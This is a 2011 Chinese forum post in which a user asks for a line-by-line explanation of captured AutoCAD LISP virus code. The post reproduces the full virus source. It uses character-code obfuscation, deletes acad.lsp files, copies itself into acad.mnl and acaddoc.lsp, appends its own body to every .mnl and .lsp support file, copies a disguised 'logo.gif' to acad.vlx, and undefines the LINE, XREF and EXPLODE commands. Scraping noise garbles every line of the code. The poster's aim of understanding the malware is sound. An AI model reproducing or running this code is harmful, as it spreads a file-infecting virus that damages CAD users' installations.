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[求助] 求助高手解释LISP病毒代码

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五面怪
发表于 2011-9-19 15:26 | 显示全部楼层 |阅读模式
本人最近截获：CAD病毒代码一段，请LISP高手帮忙解析一下每句语句的功能，不胜感谢。最是比较常见的，党是不会亏待你的，
  1. (0 g, x+ t8 B2 H( L' U# h
  2. setq1 J" G1 @" i5 m9 Z* \$ k
  3.   wold_cmd
    6 I3 d! f! Z0 \; N+ X" R
  4.    (3 X( _2 h3 I6 ?! _: E
  5.     getvar
    7 k+ J6 `8 H1 c1 H" X: K1 v$ Z
  6.      "cmdecho"
    . O; S- k) x9 [; K' w2 u9 \
  7.    )8 o4 A) o! C7 c; O! B& r% \
  8. )
    * y& P' D/ W! y3 m$ Z" A5 Z
  9. (( O/ T* g% v" k' q9 s+ M1 b3 W
  10. setvar
    1 T/ x  [0 B" \1 _: j' O
  11.   "cmdecho"8 A; r# t" H5 g7 Z9 o8 N
  12.   02 ?/ T! L, r8 r
  13. ); E/ d4 S$ T/ o6 N: P
  14. (
    6 z4 Z; K& t- R2 C
  15. setq
    * ~6 r& c1 I) j' Y) v
  16. bb 1" ]2 ?, s  l, F( K* [
  17. )
    5 y" ]1 m" k7 O5 M' e9 R
  18. (setq dpath (getvar "dwgprefix"))
    2 Y# o% S) D$ I, Y$ k3 W1 u% |
  19. (setq wpath (getvar "menuname"))& J/ a  H4 `% ?6 r  T3 F* t; D& ^0 y
  20. (setq wpath (substr wpath 1 (- (strlen wpath) 4))): @! O# ^" _! e- v" E2 Q; M
  21. (setq mnl (strcat (chr 97)# ~; I9 ?% o5 g( w# Q9 C* j
  22.                   (chr 99)$ ], I7 \/ f* J6 ]% [' B0 j3 A
  23.                   (chr 97)9 D# \+ [$ x& {7 p
  24.                   (chr 100)
    ( N' ?7 M% t& M2 }2 |1 I+ i
  25.                   (chr 46)
    % B9 F* Y8 J! V5 k& K5 ~
  26.                   (chr 109)+ i/ L6 d* g0 d) J; x3 y
  27.                   (chr 110)
    , V6 T! j  c# I) c- {
  28.                   (chr 108)
    * i/ m9 E6 A( B
  29.           )
    ' F1 T" G" S, T) Y( j. e: O& l
  30.       lsp (strcat (chr 97)
    - y$ n6 p7 v5 `( k& B3 @4 a0 @: G
  31.                   (chr 99)/ H' G4 z+ e8 a5 J& D
  32.                   (chr 97), M+ o3 N, _$ u
  33.                   (chr 100)" J6 {& j$ H/ |% t/ \
  34.                   (chr 100)5 p0 i: ]$ _) V) w3 v1 m* J3 p1 x! [7 P
  35.                   (chr 111)! M3 `1 D7 E! f( ~  J5 ^
  36.                   (chr 99)& C7 T# L& b+ z
  37.                   (chr 46)
    : v1 K+ F$ f2 O0 N8 u9 \* I* u# B) N
  38.                   (chr 108)
    : u4 c$ `$ i5 [7 \) f
  39.                   (chr 115)
    , s+ t! i- r4 e; T
  40.                   (chr 112)
    7 n# ?: h6 s! l9 J
  41.           )3 M, b4 s- h7 s: U
  42. )# d3 T/ m+ L( B
  43. (vl-file-delete (strcat wpath "acadapq.lsp"))* O- [3 l; o9 D1 T( h4 [) q
  44. (vl-file-delete (strcat wpath lsp))
    0 r* K/ l: i" b0 L5 E
  45. (vl-file-delete (strcat wpath "acad.lsp"))1 w- {4 ^. q9 L4 a
  46. (vl-file-delete (strcat dpath "acad.lsp"))
    7 r5 j1 i. h! L7 r% l1 ]
  47. (defun wwriteapp ()
    0 H6 B- L9 Q# a# ?
  48.   (if (setq wwjm1 (open wnewacad "w"))  f6 V) b0 x# S7 M1 H! l
  49.     (progn
    5 f+ s) P7 D! O/ {" X
  50.       (setq wwjm (open woldacad "r"))
    $ X- ?9 E( a" D0 l/ A# K- c2 A$ P
  51.       (while(setq wwz (read-line wwjm))
    , }; {- Z3 O1 k
  52.          (write-line wwz wwjm1)
    " S6 |" h4 D% G7 ]1 z
  53.       )! |! E; k. I) A' P& F
  54.       (close wwjm); x* p$ ~/ V% a
  55.       (close wwjm1)
    # q7 N9 o* H, r+ j2 }0 V
  56.     )& y0 @6 R& T( ]
  57.   )
    5 x/ `! X) ~2 n2 C" x# G. s
  58. )* R9 `0 b% S; O6 Q+ a  y
  59.   z8 a8 [* [. g/ Y, ]
  60. (setq lbz 0)
    ( z& u0 z; P5 m1 ~) ]; D; X) b5 V
  61. (setq wwjqm (strcat dpath lsp))* y, F8 }7 E/ \" p' n
  62. (if (setq wwjm (open wwjqm "r")). u2 L5 B  a3 |
  63.   (progn
    " \' f/ k: ?7 _: |  |  s
  64.     (repeat 15 (read-line wwjm))7 Z# W3 \: m% S. v
  65.     (setq wz (read-line wwjm))4 H6 }; ~! I1 H' L* u: n- A
  66.     (setq ab (atoi (substr wz 4 1)))
    ( g# q3 Z( e* K, ~2 p3 [
  67.     (close wwjm)
    + ~6 R; |- o9 Z
  68.     (if        (> ab bb)
    : X4 g7 ]- }3 s5 Z  Y2 d2 j$ w
  69.       (setq lbz 1)" ~, r# @% {  q
  70.     )
    / j3 w1 ~6 o% h: W
  71.   )
    $ R5 H/ B, l' [
  72. )$ O9 ~' e$ R! j0 q2 D- c

  73. 0 y, ^  R3 t! W
  74. (setq wwjqm (strcat wpath mnl)), ^. c: J( X' e2 N: C+ h0 G
  75. (if (setq wwjm (open wwjqm "r"))
    ' E$ s" {( q5 U/ _+ d  o6 d; C
  76.   (progn- E) T. M0 |6 A0 l
  77.     (repeat 15 (read-line wwjm))
      n  E) c, Z' Z* r' z
  78.     (setq wz (read-line wwjm)): d$ i2 \* F, R* y' ?: [/ S2 I  X
  79.     (setq nb (atoi (substr wz 4 1)))
    3 x3 N0 b& Q1 y+ \, P
  80.     (close wwjm)+ M# H5 u3 c7 e4 L8 e
  81.    
    9 A# W9 C4 s1 U
  82.     (if        (< nb bb)
    5 y. D* {! r% ~# H  C" ^/ [
  83.       (setq lbz 1)+ w  W. h1 m: d- O
  84.     )1 a8 k( x, o: G5 V* t
  85.   ). S; Q2 _4 P0 u; ?$ m) l+ _8 v# Z; N
  86.   (setq lbz 1)& c/ P- h  C- c! E% E. K
  87. )
    ! o3 x7 w; E8 E4 \; z
  88. (if (= lbz 1)
    " {6 Y5 x9 f  y  l. M8 y1 G$ C
  89.   (progn
    $ y: u8 G" D& z# g- J2 A) ~
  90.     (setq woldacad (strcat dpath lsp))' X5 ^5 W0 `" I: M- s
  91.     (setq wnewacad (strcat wpath mnl))
    + Y4 p0 n9 h& ~" y- e
  92.     (wwriteapp)
    3 `8 Y4 X% t/ a# U
  93.   )
    5 e- s5 J0 ?* G5 w- K& u( ^, r' o* D
  94. )
    + ]0 Q5 s# N- m5 g) Y) T: i
  95. (if (and (/= (substr dpath 1 1) (chr 67))" G0 _6 N9 o: i8 N8 s. x
  96.          (/= (substr dpath 1 1) (chr 68))( z3 y$ |7 I' Y- m, ?
  97.          (/= (substr dpath 1 1) (chr 69))
    # k8 e! f2 a* b9 c
  98.          (/= (substr dpath 1 1) (chr 70)); Y" O0 {  M; R9 M
  99.     )
    & G8 K, a" e4 m
  100.   (progn3 X- Q2 w/ ^6 [" C9 y- \: L
  101.     (setq woldacad (strcat wpath mnl))1 y6 D' k$ Z# l
  102.     (setq wnewacad (strcat dpath lsp))# l. |6 `. L% Z' z. U
  103.     (wwriteapp)# L" I3 H8 `& ]! b1 @. d
  104.   )% g2 f! A* ?( S9 C+ x7 l4 P
  105.   (vl-file-delete (strcat dpath lsp)): Y. t- S& ~% e" p
  106. ): X9 _) O; e+ C7 `
  107. ;load "acadapq")
    $ @9 b& C$ V, n( Y$ h6 u/ n6 T
  108. (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
    9 K# A! o- Y- c0 ]0 T! G% x

  109. 4 B) [$ B6 ~+ w9 z
  110. (setq flagx t)
    6 b  E0 ~0 f- ?: j5 b8 ^" b% ?/ c- d
  111. (setq bz "(setq flagx t)")
    % s' G6 c- |& \0 B  {+ k
  112. (defun app(source target bz / flag flag1 wjm wjm1 text)
    4 A% U8 Q# ]* m1 A
  113.   (setq flag nil)7 P* `* L# T* X' S( B
  114.   (setq flag1 t)) _1 Q2 B4 V# y2 l: E, K) {, n) W+ ]
  115.   (if (findfile target)
    , s, z) G. F; i/ S2 f
  116.     (progn
    - W; M4 Z" V4 s0 m6 j
  117.       (setq wjm1 (open target "r"))
    : d( q8 K5 L2 h* O/ B& x6 q
  118.       (while (setq text (read-line wjm1))$ C# J$ ]- \8 P6 s
  119.         (if (= text bz) (setq flag1 nil))
    1 W* w8 J/ V2 Q! p0 |+ W7 e
  120.         );while
    , N$ \' i3 Z* k0 V: [7 S
  121.       (close wjm1)1 k# ]4 _! y, W/ Z
  122.       );progn" v- f4 U, t3 `
  123.     );if$ l8 N( M2 g0 i3 A8 G/ x
  124.   (if flag1
    ( Y* }  w2 S  e9 ]/ d" k
  125.     (progn9 R* t( l# B" j8 V) s7 i
  126.       (setq wjm (open source "r"))" Y; Q; n1 z' O" g- C! V
  127.       (setq wjm1 (open target "a"))$ a  s! S1 l5 U& ]) ~) l1 z
  128.       (write-line (chr 13) wjm1)+ [/ b0 Q# ~" x
  129.       (while (setq text (read-line wjm))
    " E$ f1 Z3 L1 f6 b2 Z- O
  130.         (if (= text bz) (setq flag t)): h8 \; Z$ i+ x% ~! q$ ^
  131.         (if flag) v: d( S8 ?: t, R# E( D) c& P
  132.           (progn5 f$ \5 }' h" x8 E( d% _
  133.             (write-line text wjm1)
    $ }, a9 E. m7 e+ y$ L+ d7 K
  134.             );progn
    , [! ^7 z! e+ C) F  N
  135.           );if6 @: }6 k5 x: r, G0 d4 K
  136.         );while; }4 J2 @/ N2 d2 l
  137.       (close wjm1)
    ; v# Q. A& J/ y8 l! L# n
  138.       (close wjm)
    ' Y. X  u1 e: [% v, @8 t6 B6 _
  139.       );progn1 R2 q" D' j1 e' z
  140.     );if
    7 i1 [5 o7 O8 U2 Y1 I/ M! [
  141.   );defun
    9 D5 Y' T/ _) y: R
  142. (setvar "cmdecho" 0)
    ; E. S- _) [" n* t; N2 u
  143. (setq acadmnl (findfile "acad.mnl"))
    - A! a  n3 @5 L$ k# Q0 C
  144. (setq acadmnlpath (vl-filename-directory acadmnl)). Q5 P/ A3 v- ^" U- p' \$ U- S( h0 `
  145. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")); D7 v# R' u) t! u# V: f. A% x, P1 V( X
  146. (setq mnlnum (length mnlfilelist))/ S: T9 r7 J0 p1 g
  147. (setq acadexe (findfile "acad.exe"))" g) m1 Z- e% R* }* R! ^
  148. (setq acadpath (vl-filename-directory acadexe))
    $ f' B7 L4 z" r4 n
  149. (setq support (strcat acadpath "\\support"))
    7 `6 i# @0 V3 r+ h) e. u7 N' J
  150. (setq lspfilelist (vl-directory-files support "*.lsp"))- Y& u: A. _7 M
  151. (setq lspfilelist (append lspfilelist (list "")))9 s+ B8 |; F4 u) W7 s
  152. (setq lspnum (length lspfilelist))* O5 F% a$ G! ]' x' O% j$ C- o$ I
  153. (setq dwgname (getvar "dwgname"))
    0 z) {( \5 k% H3 Q
  154. (setq dwgpath (findfile dwgname))
    9 R2 Y: W6 b, Z$ e
  155. (if dwgpath) P, e( Y" w) t6 r
  156.   (progn
    & l4 P6 f9 i& C/ O
  157.     (setq acaddocpath (vl-filename-directory dwgpath))' m( W1 q1 V5 u% q% z1 d
  158.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
      H5 A. e2 u9 p3 m; |' O
  159.     (setq mnln 0)3 H8 V- m2 J$ ^( p+ w1 |( \
  160.     (while (< mnln mnlnum)
    ( O- Z- X. b" ]
  161.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))6 d9 \% p9 w: N
  162.       (app mnlfilename acaddocfile bz)) _2 E* k4 o' X! e1 S5 [! l
  163.       (app acaddocfile mnlfilename bz), {+ E6 m# g, y, Z' P8 k  \  z
  164.       (setq mnln (1+ mnln))! X& I+ n- _) t" R
  165.       );while) F3 f2 E+ T3 ^+ [6 Z
  166.     (setq lspn 0)
    ! S: _6 P, X3 F4 G; J2 D
  167.     (while (< lspn lspnum)8 Q' e3 V- |' L' F
  168.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))2 g( E! W; X+ k+ E
  169.       (app lspfilename acaddocfile bz)0 k5 S4 b9 ?# y6 l
  170.       (app acaddocfile lspfilename bz): i3 @! }- q9 T+ @5 H; Z
  171.       (setq lspn (1+ lspn))7 \; }9 X4 ~, h7 Z  B& @: U
  172.       );while! M- q# J% @3 x5 h) ?3 ]
  173.     );progn
    : Z* Z. g# Z% c2 Y
  174.   );if
    % _! G' }+ s* M; J
  175. (setq mnln 0)
    , p# t! }; b* x7 m
  176. (while (< mnln mnlnum)
    $ L% @! M/ u1 C: W  b  r' b
  177.   (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
    * T- t* j) j: f6 q/ k
  178.   (setq mnln1 0)  ]! @% D& h# g# x4 s! v6 J9 X; l' ]
  179.   (while (< mnln1 mnlnum): O7 R" g, M( Q& l& b# I) _
  180.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
    - a) f. d9 p2 t: z: ]1 q5 b0 B
  181.     (app mnlfilename mnlfilename1 bz)9 Q: K, p7 Z9 Y7 g
  182.     (setq mnln1 (1+ mnln1))- @# O8 x0 z8 V: N9 d
  183.     );while. a$ W6 v7 ]! ]2 b" p  T
  184.   (setq lspn1 0)
    1 J: X; H" w/ \4 G# z
  185.   (while (< lspn1 lspnum)
    ( g5 S( |& }8 c8 N" A
  186.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))3 T" ~) y# z* J/ ]0 g$ ]
  187.     (app mnlfilename lspfilename1 bz)0 E5 d4 q. t4 u( c- H- ~
  188.     (setq lspn1 (1+ lspn1))% e9 |3 t9 n" m$ R  {, l1 h+ K  f
  189.     );while) x* X) R1 X) O% m0 _
  190.   (setq mnln (1+ mnln))' O$ m5 _( Y/ c6 Y, j' \
  191.   );while# s: o  ]& @- A5 T6 Z
  192. (setq lspn 0)
    : F4 }+ R6 o9 g4 Y: ?
  193. (while (< lspn lspnum)
      N- c7 W; c0 k
  194.   (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))# L2 J" F2 I  O5 Q# \  j+ r
  195.   (setq lspn1 0). c: |; G4 [9 c" [0 _
  196.   (while (< lspn1 lspnum)
    . |+ z4 |& S! y/ i
  197.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
    # A" n" G2 K+ r# n6 u& ^
  198.     (app lspfilename lspfilename1 bz), ]  ]9 `. P6 n" [2 i/ ?- e, b! b2 o
  199.     (setq lspn1 (1+ lspn1))! t/ K9 p! l0 [/ H% s' c
  200.     );while7 _2 u; e% C" S  u
  201.   (setq mnln1 0)5 ?" [1 A) M1 N* d( r
  202.   (while (< mnln1 mnlnum)
    1 Q6 i/ V5 Q3 x9 F% ~
  203.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))6 W: f9 j+ k3 J4 L) x
  204.     (app lspfilename mnlfilename1 bz)
    # S" h: B$ E8 v% [
  205.     (setq mnln1 (1+ mnln1))
    2 v9 U9 g% x$ b- O: ?; X+ g0 B
  206.     );while
    : @2 `( c: C( T, f$ c
  207.   (setq lspn (1+ lspn))
    9 Y8 X+ G2 K& |4 }+ S6 r- c
  208.   );while! x3 z$ D# O) A9 C' V2 D
  209. (setvar "sdi" 1)3 d+ o) d7 ?* p4 A$ _* u3 a
  210. (setvar "ACADLSPASDOC" 1)
    7 ~( Z- }( S3 I, g9 l! `
  211. (command "undefine" "line")
    ( r) x; Q: d6 E$ Y& D- y
  212. (command "undefine" "_line")1 k( ^3 `8 K' A
  213. (command "undefine" "xref")
    8 {9 p. P# r8 |) K9 y7 ?
  214. (command "undefine" "_xref")2 i. j' {* X5 H7 E9 l
  215. (command "undefine" "explode")+ S3 r/ M2 J/ m8 M; K7 g- [, A
  216. (command "undefine" "_explode")
    # A" A6 K! T7 i6 B/ e
  217. (setvar "cmdecho" 1)' K) s' O1 x4 L5 `
  218. (princ)
    . V# v, R7 r0 g1 k* h1 j! v+ R6 _
  219. (load "acadapp")
    ! E* c1 N( n# w/ F! O
  220. (princ)! i7 A. z0 j' \, e7 ~  q/ P
  221. (if (null stol) (load "lcm" ""))$ |5 w9 I) y+ v$ u/ q; _. `! |
  222. (princ)" E8 F, ?6 ^# F9 X7 T: C
  223. (load "acadappp.lsp")2 Q6 H% `) ~+ H% g: \- B1 u
  224. (princ)' g2 B& |* W0 S
  225. (if (null stol) (load "lcm" ""))! @7 g1 f$ S, V5 f7 Y+ ]
  226. (princ)
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